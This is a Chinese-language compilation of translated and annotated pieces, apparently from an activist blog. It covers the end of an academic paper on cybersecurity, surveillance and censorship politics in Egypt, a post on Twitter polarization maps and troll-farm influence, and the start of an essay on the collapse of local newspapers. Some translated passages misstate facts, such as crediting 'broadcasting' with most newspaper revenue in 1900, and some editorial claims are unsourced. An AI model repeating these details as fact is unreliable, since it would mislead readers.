因此，我们并不试图表明，操纵不确定性是网络安全政策、做法和技术的“唯一”目的。例如，监控技术（无论是针对性的还是国家层面大规模的）不仅能最大限度地减少反对派活动家及其计划的不确定性，正如我们在下文中所论述的那样；它们还有助于根据国际公认的定义来抓捕罪犯和恐怖分子。

另一方面，活动家可能使用具有更强网络安全保护的新通信技术，不仅仅是为了保守信息秘密，最大限度地提高政府对反抗者讨论的不确定性，而是因为它们提供了更好的组织能力或其他能力。

在我们研究的许多案例中，操纵政治对手的不确定性是这些网络安全政策、实践和技术的“主要”目的是有道理的，尤其是它们是在如此激烈和暴力的政治竞争背景下出现的。但我们的论点没有必要确定操纵不确定性是具体行动的唯一原因。

表2中最大限度地减少自己的不确定性的第一种战略是收集预测数据，相应地最大限度地增加对手的不确定性的第一种战略是保守信息秘密。

越来越多地采购和使用监控工具，包括有针对性的和大规模的监控工具，显然可以通过（明显的）预测能力将不确定性降到最低，因为它为政府 —— 特别是维稳机构提供了更多、更详细的关于其目标（包括但不限于活动家和反对派）的情报。这种情报数据库的保密性，以及国家间谍机构更广泛的不透明性，也意味着活动家不知道政府对他们的了解有多少：他们不确定在任何具体事例中数字监控的程度。

因此，秘密监控工具既最大限度地减少了政府面对的不确定性，又最大限度地提高了反抗者面对的不确定性。

另一方面，虽然2011年后不久就出现了一些活动家实践的“反向监视”，但在日益压抑的环境中，它很快就变得不那么可行了。尽管如此，围绕监控技术的吹哨人泄密事件降低了活动家对政府意图和能力的不确定性，因为它们让人们对具体的监控能力和总体计划有了更多的认识。

在网上监控不断增加的情况下，一些活动家使用了更安全的通信技术，特别是VPN和加密技术，尽管访谈显示这些做法并没有得到非常广泛的采用。还有一些人使用多个账户来掩盖自己的政治活动——也就是分身术，使其免受维稳机构越来越常见的实物设备检查。

这些反监视的做法增加了政府对谁或何时会发生政治活动的不确定性，使其更难采取先发制人的行动来镇压。此外，这些战略表现出明显的监视/反监视动态：📌 活动家首先使用新的手段，如社交媒体平台；国家获得更大的监控社交媒体的能力；然后活动家曝光这种监视能力，并转移到其他地方；国家试图再次监控他们。

网络安全出现在这一动态的两边。据报道，政府监控被称为“社交网络安全隐患监控行动”，与所谓的网络安全中的各种技术和政策措施相呼应。销售监控技术和情报分析能力的公司—— 包括 **FinFisher** 和 **Hacking Team**—— 已经接受了 ”进攻性网络安全” 等描述。这些关联出现在网络安全是保护“国家信息空间”的更广泛的观点中。

相反，“以人为本” 的网络安全观，与隐私和基本人权密切相关，为政治活动家采取反监视行动和技术提供了理由。

所以，双方不仅是在操纵不确定性，而且都是以网络安全的名义进行的：政府为了保护自己的信息空间，活动家为了保护自己的隐私和个人数据安全。

第二套战略旨在从整体上限制行动空间，最大限度地降低对手可能做什么的不确定性，同时以不稳定或（显然）不可预测的方式行动，最大限度地提高对手对我方可能做什么的不确定性，并创造出一种审查和创造力的动态。

特别是从2016年开始，政府大大加强了网络审查，独立网站和NGO网站被明确以 “恐怖主义” 或 “外国社团” 为由进行审查。但这种审查不稳定，没有系统性地执行，有时会让人怀疑政府的能力和技术能力。但是，也因为鼓励自我举报或群众斗群众，这些做法限制了个人在网上批评政府和采取集体行动的机会，从而最大限度地减少了政府面对的不确定性，但也增加了反抗者面对的不确定性，因为他们不知道何时或为何会被封杀。这也反映了更广泛的任意拘留和酷刑的线下维稳模式。

作为回应，一些活动家通过简单地离线，不携带任何电子设备参加市中心的会议、集会或抗议活动来限制政府镇压的机会。另一些人则通过视频游戏平台使用出人意料的 —— 不一定是更安全的—— 交流方式，并找到了创造性的在线抗议和自我表达方式，增加了政府对何时、何地、如何审查网上活动的不确定性。

这些战略是动态的：就像监视/反监视一样，一个地方的审查导致活动家迁移到其他地方。然而，公开审查的寒蝉效应要比看不见的监视大得多，因此，许多人反而选择谨慎自己的网络言论以避免审查。

除了加强所谓的反恐和媒体监管外，“网络安全” 是审查制度的几个重叠借口之一。据报道，最高网络安全委员会在促进网络审查方面发挥了关键作用，后来2018年的《网络犯罪法》使其合法化。这种网络安全的部署遵循了区域性的模式，因为海湾国家的网络犯罪法都被用于类似的活动，借鉴了2010年《阿拉伯网络犯罪公约》通过的对审查制度的宽容立场 。

网络安全与反恐两个借口的重合既有地区层面的，也有国家层面的，位于沙特的网络恐怖主义监测中心 **“Etidal”** 得到了地区盟友埃及以及美国的支持。

相比之下，在应对审查制度方面，虽然访谈表明，一些活动家将把电子设备留在家中和使用视频游戏聊天等做法视为“网络安全”的一种形式，但在本文审查的数据中，创造性的抗议形式并没有与网络安全联系起来。这可能是因为以人为中心的网络安全概念侧重于隐私，而不是更广泛的言论自由，但这可能是由于与围绕政府行动的数据相比，缺乏更多可用数据。总的来说，网络安全政策、做法和技术更多地出现在政府审查方面，而不是作为活动家反击的理由。

【注：一定程度上这是因为“网络安全”这个概念和“反恐”的概念一样，在反抗者的立场上它们已经被当权者/敌人篡夺了，为了避免论述中产生误解，反抗者故意避免使用这些被篡夺的概念。虽然自我保护在性质上是一样的。】

第三套战略是实施多个冗余系统来管理而不是减少不确定性，以及使用模糊和含糊性来增加对手的不确定性。

在第二节中，我们提出，虽然这些战略在概念上是不同的，但在实践中，它们支持上述前两种动态。上一节的概述提供了几个政府行动的实例，其中涉及到这种方式的冗余和模糊性。例如，引入庞大的媒体法、恐怖主义法和网络犯罪法，目的都是将类似的反抗活动定为犯罪，这就保证了三者中至少有一个能够压制几乎任何政府不喜欢的网上活动。相反，非政府组织和权利倡导者针对这些法律寻求的多种影响渠道，从技术咨询到个人游说、公共倡导和塑造大众舆论，可以被视为通过多种手段确保其论点被听到的相应的但最终不成功的尝试。

关于含糊不清和模棱两可的问题，除了上述网络犯罪法的特点外，2012年(和2014年)的信息通讯技术战略在重新呼吁承认人权和采取压制性国家安全措施之间徘徊，这可能不仅是因为它试图满足相互竞争的支持者，而且也是为了有意与各种可能的政策建议保持一致。

在可见的数据中没有发现反对派活动家在网络安全方面战略性地使用含糊不清和模棱两可的做法，在下文表3中用“N/A”表示。因此，尽管冗余和模棱两可的战略被框定为其他问题中的网络安全问题，尤其是政府的网络安全问题，但研究并没有发现这些战略的单独动态。

总的来说，对2011年至2020年埃及出现的网络安全问题的分析表明，政府行为者和反对派活动家都试图操纵不确定性：使对方对自己的行动不确定，同时增加自己对对方行动的确定性。他们通过几种截然不同的战略来做到这一点，这些战略形成了截然不同但又相互关联的在线监视/反监视和审查/反审查创造力的动态。

表3按照表1和表2的布局，分别针对政府行为体和反对派活动家，对上述讨论的与操纵不确定性战略有关的具体政策、实践和技术进行了总结。分析表明，双方都援引了对网络安全的不同解释作为这些战略的一部分，包括将网络安全视为国家信息安全，以及以人为本、注重人权的网络安全。然而，并不是所有战略都与网络安全有着同等的联系：网络安全在第一个动态范围内的所有战略中显得最为明显，并且主要出现在第二个和第三个动态范围中的政府方面。

结论

「图」

本文探讨了自2011年1月25日革命以来埃及出现的网络安全政策、做法和技术。有人认为，埃及网络安全的发展从根本上说是由政治进程中根深蒂固的不确定性所决定的，一系列的行为者，特别是政府维稳机构和反对派政治活动家，对网络安全作出了不同的解释，作为操纵不确定性的技术战略的一部分。

除了提供埃及过去十年网络安全发展的大量经验数据外，本文还做出了两个理论贡献。首先，借鉴并扩展了关于争议性政治中的不确定性的学术研究，特别是在专制政权和混合政权中，具体说明了操纵不确定性的具体战略，并探讨了它们在对手之间的动态中的相互作用。有学者认为，这一时期的埃及政治，总体上具有高度的不确定性，其特点是操纵主观上的不确定性来维持和挑战主导的权力结构。

其次，它显示了网络安全等新的语话和实践如何被同化到现有的政治斗争中，而不仅仅是导入自己的优先事项和结构。这对更广泛的网络安全研究具有重要意义，因为它表明，政治背景对理解特定国家的网络安全发展至关重要。它还强调了国际纠葛，因为外国或跨国公司和国际非政府组织以及国家关系在埃及的网络安全发展中发挥了关键作用。

这里的论点虽然是在埃及，但却有更广泛的影响。包括中东和北非在内的许多其他混合型国家和专制型国家，很可能以类似的方式对待网络安全。

利用网络安全来操纵不确定性也可能更广泛地发生，正如Gunitsky 所论述的民主国家和专制国家之间的“大融合”导致前者采用最初由后者发展起来的政治实践。

在美国和英国这样的“民主国家”，政府的特点是在过去的几年中具有

很大的不确定性，利用网络安全语话和实践来操纵这种不确定性——例如，在美国目前对抵制端到端加密的辩论中—— 未来可能会越来越常见。

但是，政府并不是唯一一个对不确定性和网络安全问题采取措施的行为者；例如，最近成立的大赦国际技术安全实验室力求在网络安全专家和权利活动家之间进行协同努力，并调查了一系列针对民间社会的数字攻击，包括在埃及。

从抗争政治研究的角度来看，未来的研究可以将本文所使用的反对派活动家的类别挑明，对网络安全的态度差异只在实证部分有所提示。关于政治反对派和抗议运动的学术研究已经确定了“温和派”和更激进的“两翼”之间的一系列复杂关系，而这些关系很可能体现在对适当的网络安全实践的争夺中。

未来的研究还可以弥补单一案例研究方法的不足，在国家和反对派层面进一步调查相关的比较案例和跨国联系，更广泛地追随抗争政治的研究趋势。本文确定了一些此类研究的出发点，如一些地区国家与外部盟友在打击所谓的“网络恐怖主义”和采购监控系统方面的合作，反面则是跨国联盟的公民社会团体参与“数字行动主义”和网络安全教育的努力。

最后，本文的论点表明，网络安全与不确定性之间的关系比起初看起来更加复杂。由于网络安全面向的是一系列技术和社会技术风险，许多网络安全实践和技术都试图准确地计算这些风险，将其与其他社会和经济因素进行权衡，最终目的是降低其可能性和/或对其进行适当的管理。因此，网络安全力求减少或控制不确定性。

然而，本文对不确定性的调查表明，网络安全也可以有针对性地用于在抗争政治中为特定群体操纵不确定性，依靠保密、审查和模糊性来增加和利用不确定性，而不是减少和遏制不确定性。然而，某些形式的不确定性对基本权利和公平的政治制度至关重要；事实上，回到我们开始时的框架，结果的不确定性是健康民主的一个生产性特征。因此，我们需要认识到政治行为体如何利用网络安全来操纵不确定性，同时也要确保网络安全概念维护和保护我们所珍视的那些形式的不确定性。○

Manipulating uncertainty: cybersecurity politics in Egypt

原文

LR 政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图

长读集中化毁掉互联网自由

【2018年9月4日存档】数据可视化应该可以直观一些，是时候正面这些问题了。中国人很可怜，还没能遇到真正的民主，就赶上了这波臭鱼……不过办法还是有的，虽然实施起来有难度

我们在几年前的文章中多次分析过集中化社交网络的回音壁效应、过滤气泡问题，人们涌入熟人的小圈子，在 GFW 外延续在 GFW 内的交往范围。就像儿童游乐场里堆积在一起的五颜六色的小球，虽然看起来很拥挤喧闹，却互不相干，各自迷恋着最能让自己感觉舒服的故事。

事实上这是整个社交网络共有的特征，对于中国来说，不过是多了一面墙，看起来似乎有什么不同。其实并没有不同。并且，正是这面墙让一些问题显得更直观了，比如你经常能看到这样的景观，一则明显的假消息从 Twitter 被搬到 WeChat，有人指出其错误，但几分钟后继续有其他人搬运同样的消息在同一个地方分享。如果你就守在这里逐个纠正，恐怕忙上一整天也不够用。为什么会这样？

原因可能有几种：# 人们根本不在乎真伪，浏览只为了刺激；

- 转发和表达更多是自我展现、自说自话，无视周围人；
- 大多数人没有加密习惯，偶尔翻墙只为寻找刺激，于是很容易被墙外故作刺激的假消息吸引；
- 翻墙的人普遍抱着“寻找在墙内很可能被审查禁止的东西”，这个逻辑是对的，但对个体来说也同时意味着以其在墙内的“气泡”社交中生成的信息为基本线索，去寻找同样的或近似的“气泡”，而不是另一些不同的“气泡”。推特中文圈恰恰就存在一些账户是专门提供这类内容的，即 在墙内线索基础上的臆想和胡

编乱造。于是前后两个群体很容易形成紧密连接—— 一个跨墙气泡。还是气泡。原因就是上述第一条：对真相没有兴趣。

就如你所知道的，近年来所谓的内容创业者中间最流行的一个词就是“垂直受众”，即满足于一个小范围的且高度针对性的受众面。这样做不仅是为迎合气泡的生态，并且也加强了这种分化。

我们可以追求“打开中国 #OpenChina”—— 扩充视野、连接全球民主追求者和反抗者，但我们很可能打不开“中国气泡”，或者任何一个国家的社交网络气泡，最好的结果是不断增大 ，#OpenChina 这个“气泡”的体积，因为我们无法吸引技术型反抗不感兴趣的人。

没人再期待说服任何人，因为互联网上你是做不到这点的。互联网基于人的价值是连接联合而不是说服，但正因为极化和气泡化的存在，联合的价值很难实现。同时，更糟糕的是，这种布局的社交网络是非常容易被操纵的，操纵者只要瞄准一些气泡，针对性提供充满诱导的假消息，就能改变一大群人的认知，从而令他们作出错误的决定。

这就是为什么利用社交网络干预一个国家的选举、摧毁其民主制度是那么的容易。中国目前还没有选举，如果有了选举，在这种状态下也不会有真正的民主。至于为什么，可参见我们早前的诸多分析《定制人》《为什么互联网人这么容易被骗》等。在此前的关于机器决定“民主”的文章中，有读者回复：“中国人真可怜，还没赶上真正的民主就又赶上假民主盛行了”。的确如此，但也并非不能解决，我们一直在推崇开源去中心化的网络，推荐技术型反抗和相关知识，以及突破中国的视野局限性的思路，我们相信这是有效的，前提是更多人了解现状 + 打破虚无，加入到行动中来。

日前研究人士做了一些社交网络地图，以美国为例，证明上述结论是准确的。我们来演示一下，如果您拿到中文网络全方面的详细数据，也可以按照这个思路来模拟一套具体分析。

上面是美国政治格局的 Twitter 地图。每个圈都是一个回音壁气泡，由 Twitter 账户组成，颜色反应了不同的内容。政党的气泡更多处于中间位置，反特朗普和支持特朗普的都在极端位置。这是完全在预料之内的，即“被敌人”逻辑—当你有一个敌人的时候，要付出的是被收窄视野、变得偏执的代价。如果你能就事论事而不是就人论事，将有希望打破这一禁锢。

这张地图中，你能看到彼此关注的帐户聚集在一起，并且按照它们共同分享的内容进行了颜色编码。乍一看好像还不错？虽然有明显的回

音室，但也有一个由当选官员、新闻界以及政治和政策专业人士组成的交织在一起的网络。有明显的极端，但它们是可以通过强大的中间部分调解的。其实没这么简单。

分头看看。这是反特朗普的。

这是进步运动

这是民主党

这是地方政治新闻

党派政治

这是特朗普的支持者。和上面的反对者一样，都处于两极位置。

这是保守派媒体

这是共和党。

然而，正如下面的图表所显示的那样，中间部分比它看起来的要弱很多，这使得公共话语既容易受到国内极端分子的攻击，也容易受到有目的的外部行为者的操纵。

政治宇宙的中心比偏振更加安静，两侧极端党派一直在尖叫。纵轴是平均每日 tweet。于是你能看到，这张图还显示了双方机器人在实施的自动化活动，这些账户每天都会按照共同的时间表制作一百条推文，数百个账户（尤其是左侧）的每日推文数量相同。进一步证明他们是机器人。

当根据他们的“效价”绘制账户图时会发现，极化问题看起来更严重了（如下）这是衡量他们之间的关系的政治同质化指标。0 意味着一个帐户仅跟随或仅被累进帐户跟随，而1表示它仅连接到保守派帐户。

媒体世界的分化

如果社交媒体只是分散了对专业新闻信息源的注意力，那么它对民主的影响就会受到限制。但是如下，这张来自哈佛大学伯克曼克莱因中心和麻省理工学院媒体实验室制作的地图，基于“共同引用”（即与谁联系）表明媒体世界也是分叉的。（大图在这里）

下图是头条报道被 Twitter 账户引用最多的新闻来源。传统的主流新

闻来源主要被左派引用，右派来源是谁也很清楚。

如果查看单篇文章的引用而不是新闻来源，来分析相同的数据，那么鸿沟就更加明显了。如下。获得最多 tweet 引用的文章来自左右两侧党派的观点。

俄罗斯巨魔如何利用这种分裂？

上图中所示的两极分化是错误信息/定向信息操纵大众认知的肥沃土壤，例如俄罗斯为影响 2016 年美国大选所采取的措施，又如美国科技媒体操纵墨西哥选举所采取的措施—— 根据整体数据分析设置算法，以针对某些群体定向提供 feed，即强化即有观点、缩窄气泡。

请注意一个关键点：这些对手不是试图强迫他们的信息进入主流，而是针对极化社区的特征，在回音壁气泡中“嵌入”虚假账户。

虚假账户与这些社区中的真实人士建立信任关系。一旦影响力确立，他们就可以引入新的观点并扩大已经存在的分裂和煽动性叙事。这些回音壁气泡你可以将其理解为一些孤立和紧密结合的小圈子，使用自己的语言特征、迎合其痴迷的理论、然后利用这个位置来影响国家政治。

还记得我们几年前曾经在“社交网络圈子”中的分析吗？中国式的小圈子是封闭的堡垒，极化的源泉，任何纠偏都无法进入这样的堡垒，居于其中的人始终处于隧道认知状态。为什么这样的格局会为误导性信息的植入提供最佳环境？详见这篇文章中的解释《社交媒体的隧道生态和心理操控》。

继续美国。下面的这个长图中的第一张，显示了 2016 年大选前夕的美国政治光谱。第二张地图突出了一位名叫詹娜·艾布拉姆斯（Jenna Abrams）的 30 多岁美国女性的追随者，后者通过她关于奴隶制、种族隔离、特朗普和金·卡戴珊的病毒式传播推文获得了追随者。

她极右倾的观点让她对保守派很感兴趣，她的娱乐性策略引起了几家主流媒体的关注，并引发其在推特上与知名人士公开争吵，包括前美国驻俄罗斯大使。她在右翼 Twittersphere 的追随者使她能够影响更广泛的政治对话。实际上，她是臭名昭着的“圣彼得堡巨魔农场”创建的众多假人物之一。

伊朗博客圈

互联网上的回音壁效应并不是什么新鲜事。下面这张 2008 年的地图

描绘的是伊朗的博客圈，将相互联系的博客聚集在一起，并根据博客的内容对其进行着色。在政府持续打击网上言论之前，政权的支持者（右下）和批评者（左下）各自都有大量的追随者。

土耳其推特

下面是土耳其政治景观的 Twitter 地图，类似于本文开头的美国地图，显示了多维两极分化，在地图最右侧的埃尔多安支持者周围有一个密集的影响范围，以及两个不同的极点。另一个极点是反对者。高度关联账户的这些“被放大核心”，对会话具有不成比例的影响，并且可以迅速推动极化的消息（通常是假消息，或者证据不足的消息）。

俄罗斯：近似但也有所不同

下图这张 Twitter 的俄罗斯政治版图在另一个背景下表现出两极分化。有明显的亲和反普京集群，但它们由一系列主要的亲政府新闻和有明显导向的帐户组合在一起的。普京粉丝围绕着一个明显自动化的“个人”也是营销账户的光环。

这些可视化数据能提供更直观的分析，有助于设计策略以缓解误导性信息操作有可能带来的影响。打破气泡生态不是很容易的事，但发动更多人一起来思考和警惕这一问题，绝对是关键基础。希望能早日看到中国的分析报告。〇

原文

LR 新闻之死—— 民主体制是否能修复的关键是什么？ - iyouport

关于真实的“媒体”-真相衰变长读

【2019年1月29日存档】“钱啊！如果脱裤子能拯救我们，那就这样吧！”

记者权利组织不会关心这些事，这些正在缓慢杀死整个新闻业的事。它比战地的炮火更残酷。我们不知道该说什么。就像某些人权组织告诉我们“隐私权不是人权”时我们所做的那样，保持沉默，并面带微笑。

> 如果你是无知的，那么你很幸运。也许你能因此活下来。

我们在讨论很多问题时都会用到“危机”这个字眼，有时未免轻率，但是，在讨论新闻业时，这个词恰如其分。

2000年至今，媒体行业已经裁员超过四分之一，数十家知名报纸倒闭，其他仍然存在的要么濒临破产，要么勉强度日。因此，新闻机构没有能力对他们所报道的事件进行深入调查，与此同时，以忽悠记者为目的的公关行业却如日中天。

一家著名新闻杂志曾经将公关行业列为2011年的顶尖职业之一。结果，虽然新闻号称一头连接政治人物、一头连接公众，但，新闻业的现实却是，公众能看到的调查性新闻越来越少。

为什么尽管民众已经失去了对新闻业的信任而不再关注新闻，新闻对于统治者来说依然非常重要？这就是我们在连续三篇关于《现代新闻之愚蠢》系列中讲述的：政治人物和不同的利益代表如何彼此竞争，拼命把自己的议题和立场挤入新闻议程，谁成功了？为什么这么做很重要？理解这些问题是民主体制是否能的修复的关键。

日常新闻已经充斥着越来越多的政治运作、耸人听闻的小道消息和没有根据的所谓爆料，有时倒也能给大众一些思考的机会，但是，绝大

多数情况下都无法思考。如果新闻仅仅是娱乐媒介，是一部友好的媒体大碗主持的日常荒诞剧的话，也许至少能让人乐一分钟；如果政治信息体系不是与政治决策和人民生活如此息息相关的话，也就没那么令人担忧了。

公民已经在媒介政治的参与中处于边缘地位，这构成了 **Robert Entman** 所称的“没有公民参与的民主”。公众在政治传播中的边缘地位在各种政府中都有体现。传播过程中更多的是为政治圈内的人服务，这些趾高气昂的精英，他们对于更大范围的公众概念认识模糊，对于公众有什么样的信息需求一无所知。

那么记者在干什么？正如 Thomas Patterson 所说，记者对于政治和民主准则缺乏一个清晰的定义，面对政治人物的形象策划越来越用心，被越来越精细的新闻表演所围困，他们根本不知道该如何报道。

在数字时代，一个不能提供有效信息的体系看起来非常奇怪。因为随着数字时代的到来，我们甚至可以在书桌上发起一场生机勃勃的讨论，直接与权力中心进行交流。但是，这些技术并非像个开关那样，直接打开就能保证人们聪明地利用它们，不能保证技术会自动改变现状。相反，惊人的极化、个体之间的彼此孤立、以及更复杂的政治推销术，促使我们更加认真地思考：在数字世界里，我们应该怎样利用这些技术。

若想进行有意义的变革，人们需要更好地理解现有传播体系中存在的这些深层次问题，特别是需要批判性地思考如何向公众提供有效的信息，以引导人们聚拢在那些真正能解决社会问题的政治行动周围。

这不是一件容易的事，而且越来越不容易。

中国年后我们将继续这个话题，以给出可能的解决方案 。还是那句话：新闻业不行了，那么公民记者就必需*很行*。

以下是纽约客的文章，详细梳理了这个令人心酸的过程。希望它能帮您了解，我们所有人正在面临什么—— 尤其是中国社会，应该知道，你们的政府正在拼命倡导的所谓媒体融合，危机已经开始加速恶化。

伍斯特的“Sunday Telegram(星期天电报)” 成立于1884年，当时电报意味着快速，就像现在的快讯那样。两年后，它成了一个日报。它总是一份好报纸，虽然从来都不是最好的报纸：它有用、有趣和坚决。它培养了人才。著名诗人斯坦利·库尼茨（Stanley Kunitz）在20世纪

20年代就是 Telegram 的工作人员。“纽约时报”记者道格拉斯·凯兰德（Douglas Kneeland）曾在肯特州立大学和查尔斯·曼森（Charles Manson）担任职务，他的职业生涯始于20世纪50年代。 Joe McGinniss 在20世纪60年代为 Telegram 报道，然后写了著名的 “The Selling of the President.”

从浓密胡须的十九世纪政治家到娃娃脸的乔治·W·布什，这份报纸应该算是坚定的共和党人。如果你主要关注自己家附近的丑闻和大胡子的恶棍的话：比如公共图书馆主要分支逾期维修，警方突击搜查非法赌博场所——“伍斯特狗在沃斯特围栏上追逐伍斯特猫”，老派华盛顿新闻人士经常开玩笑说当地报纸的典型标题就是这样。

像这样报纸还有很多，但是它们都没有持续下去。 1970年至2016年，美国新闻编辑协会破产的那一年，500个左右的日报已经停业；其余的新闻报道，或缩小版面大小，或停止生产印刷版，或同时执行所有这些，但仍然是不够的。

报纸的死亡率是旧闻了，对那些消失的报纸怀旧在这点上本身就是可怜的，尽管如此，我仍然要说，这涉及到一个原则。

美国报业协会的创始人海伍德·布伦（Heywood Broun）在1931年纽约世界报破产时说：“我不会为一家皮鞋厂或一条支线铁路的关闭而哭泣。但是报纸不同”。

而且流血并未停止。**2017**年**1**月至**2018**年**4**月期间，全国三分之一的最大报纸，包括丹佛邮报和圣何塞水星报，都被报道了裁员。在一个较新的趋势中，四分之一的数字原创新闻网站也是如此。 **BuzzFeed News** 在**2017**年裁掉了一百人。赫芬顿邮报多年来一直没有为其作家付出任何稿酬，然而，尽管在**2018**年获得了数千万美元的广告收入，却未能盈利。

即使是八十年代仍然蓬勃发展的报纸业的老兵们也很担心，尤其是那些从死讯的灰烬中崛起的假新闻。 “我们现代历史上第一次面临着社会如何在没有可靠消息的情况下存在的前景，”卫报总编辑 Alan Rusbridger 在“快讯：改造新闻及其为何如此重要“一文中写到。纽约时报前执行编辑 Jill Abramson在“真相招商：新闻业与为事实而战”中写道：“没有那么多的地方可以很好地处理高质量的新闻，甚至人们根本不打算这样做“。

像大多数撰写有关新闻危机的大报纸记者和编辑一样，Rusbridger 和 Abramson 都对国内和国际新闻机构感兴趣。当地的报道更糟糕。

首先是集团化。新英格兰第二大城市马萨诸塞州伍斯特曾经有四个日报：早上的 Telegram 和 Gazette，晚上的 Spy 和 Post。

美国报纸的最后一次巨大损毁来自二十世纪初，主要是由于（a）无线电和（b）大萧条；日报的数量从1920年的2,042下降到了1944年的1,754，**1,103**个城市只有一份报纸。报纸发行量在1940年到1990年之间上升，但可能只是因为更多的人阅读的报纸越来越少了，并且正如 A. J. Liebling 曾经观察到的那样，没有什么比一份报纸的城市更糟糕的了。在1949年又一个日报关闭之后 Liebling 预测，“如果这种趋势继续下去，到1975年左右，纽约将成为只有一份或两份报纸的城市。”

他没猜错。在20世纪80年代和90年代，克里斯托弗·达利（Christopher B. Daly）在“报道美国：国家新闻的叙事史”中写到：“这一趋势愈演愈烈”。

集团化对企业有利，但对新闻业来说一般都不利。想要变得更大的媒体公司倾向于吞并其他媒体公司，压制竞争和承担那些使出版商萎靡不振的债务。1986年，旧金山纪事报的出版商购买了伍斯特 Telegram 和 the Evening Gazette，三年后，当时代和华纳成为时代华纳时，Telegram 和 the Gazette 变成了 the Telegram & Gazette，或者叫它 T&G，薯条变小了，土豆还是一样的。

接下来就是网络公司。 Craigslist 于1996年在湾区上线，立刻像杂草一样在整个大陆蔓延，扼杀了当地报纸最可靠的收入来源：分类广告。T＆G试图通过涉足互联网的浅水区来保持其分类广告部分。在 telegram.com 上它变成了一个缩写单词，奇怪的是并没有任何反驳。

然后又开始了另一轮的企业收购，由高管进行的深度杠杆交易——对寻求更高股息的股东负责，而不是为更好的报纸负责。1999年，纽约时报公司以近三亿美元的价格收购了T＆G。到2000年，在美国留下的一千五百份日报中，只有三百五十五份是独立拥有的。每一百个拥有日报的美国城市中，只有一个城市不是“一纸城”。

然后秋天来了，当全国各地的报纸被庞大的公司和一个笨拙的、百年历史的商业模式所束缚时，发现自己已经无法与像赫芬顿邮报和 **Breitbart** 新闻这样的新兴网络新闻聚合器竞争，它们对读者来说是表面“免费的”（跟踪器你看不见）。

新闻聚合器也使广告商远离了印刷品；**Facebook** 和谷歌吞并了整个

广告系统。大报找到了适应的方法，而较小的报纸主要靠萎缩。1994年～2016年，当伍斯特县人口增加超过十万的时候，T＆G 的每日发行从曾经的超过十二万减少到了仅剩下三万。

仅在一年内，发行量就下降了百分之二十九。 2012年，在经过又一轮裁员之后，T＆G 离开了自己的大楼，其员工人数减少到足够少，可以放进附近一栋办公楼的一层里。

第二年，波士顿红袜队的老板以七千万美元的价格从纽约时报公司购买了这份报纸以及波士顿环球报，仅仅一年之后就以1700万美元的价格将这些报纸卖给了 Halifax 媒体集团。媒体集团只持有了半年的时间，就再次由一家自称为新媒体投资集团的实体收购，跳蚤市场风格。

这些数字掩盖了一个丑陋的故事。在过去的半个世纪里，特别是在过去的二十年中，新闻本身—— 新闻的报道、编写和编辑方式—— 已经发生了严重变化，其中包括使假新闻兴起的方式，而不仅仅是因为合并和收购、公司所有权和失业、谷歌搜索、Facebook 和 BuzzFeed。

工作中从来不乏令人惊叹的记者，他们勇敢、思想开阔、精彩，在形式问题上从来没有结束令人着迷的创新，特别是在视觉叙事方面；然而，尽管如此，新闻业作为一个领域，就像个瘾君子一样沉闷，它的口袋像夜晚的星空一样空无一物。它的确比以前报道的速度更快了，它也更前卫，更被需求，但是，也更加有害。但它需要的是什么？

日报是现代新闻的根基。日报主要出现于十八世纪三十年代，即“新闻业”这个词被创造出来的那十年，这意味着每日报道。

早期的日报取决于订阅者支付账单。媒体是党派，读者是选民，新闻是为了对大众进行说服（当时选民投票率很高）。

但到了1900年，广播占全国18,000份报纸大部分收入的三分之二以上，而读者则是消费者（此时选民投票率开始了一个长期的下降）。

“报纸不是传教士或慈善机构，而是收集和发布人们想要并愿意购买的新闻的企业，”密苏里州的一位编辑在1892年说道。由于企业想要读者，无论他们的政治倾向如何，报纸都停止了说服。

记者们承诺“事实、真相和更多事实”，而且，由于媒体不那么党派了也有了更多的广告，报纸不再是通过读者的政治倾向而是通过他们的

收入来解决问题—— 如果你有很多钱可以花，那么你可以阅读圣保罗先锋报；如果你没钱，就去读圣保罗 Dispatch。

不出所料，批评者很快就开始撰写关于商业与新闻之间关系的大书，通常是起诉书式的。“当你阅读你的日报时，你阅读的是事实还是宣传？”1919年，厄普顿·辛克莱（Upton Sinclair）在 The Brass Check 上问道。在1944年的“消失的日报”中，奥斯瓦德·加里森·维拉德（Oswald Garrison Villard）哀悼“曾经是一个职业，但它现在变成了一个企业。”

启发 Jill Abramson 成为一名记者的著作是大卫·哈伯斯坦（David Halberstam）1979年的“权力之都”，这是二十世纪中期现代企业媒体崛起的历史。 Halberstam 于1964年因纽约时报的越南报道而获得了普利策奖，他从 F.D.R 开始、还有CBS电台，后来又加入了洛杉矶时报、时代和 CBS 电视台，并于1971年在华盛顿邮报和纽约时报以及五角大楼文件的出版中达到了事业巅峰。

Halberstam 认为，在20世纪30年代和20世纪70年代之间，广播和电视为报道带来了新的直接性，而企业所有者提供的资源和日益成熟的全国观众提出的要求导致了更难打击的、调查性的、对抗性的报道，可以结束战争并摧毁总统的那种。

Richard Rovere 总结道：“洛杉矶时报、华盛顿邮报、纽约时报和哥伦比亚广播公司的共同之处在于，在内部和外部产生的压力下，他们从贪婪或狭隘或平庸或三者转向了接近新闻卓越和责任的事物“，这一举动付出了代价。与越南报道一样，水门事件掩盖了关于新闻业在美国的作用的核心新事实之一，” Halberstam 写道，“只有像这样的非常富有、非常强大的公司机构才具有挑战美国总统的影响力以及最重要的资源。”

在我成长的20世纪70年代，没有人知道我读过“纽约时报”、“华盛顿邮报”或“华尔街日报”。但我所知道的任何人都不会阅读“波士顿环球报”，这份报纸曾经有过一条规则，即 规定任何人都不应该对他人如此批评以至于“作家第二天不能与他所写的那个人握手”。而在1967年，它成为美国第一个反对越南战争的主要报纸。

1969年，尼克松副总统斯皮罗·阿格纽（Spiro Agnew）发表了由尼克松助手帕特·布坎南（Pat Buchanan）起草的一篇讲话，指责媒体偏见。据说尼克松告诉他的工作人员，这对我们来说鼓动新闻界是一个很好的政治行为。Agnew 说，媒体代表着“一种在历史上闻所未闻的、对美国舆论权力的集中”，由“读同样的报纸”和“不断地相互交

谈”的人组成。他们怎么敢… Halberstam 把这一点放在一边，因为很多公关的胡言乱语，但是有一点是清楚的，从那时起，Agnew 已经成为一个现成的演员，特别是对于像我这样的宅男来说。

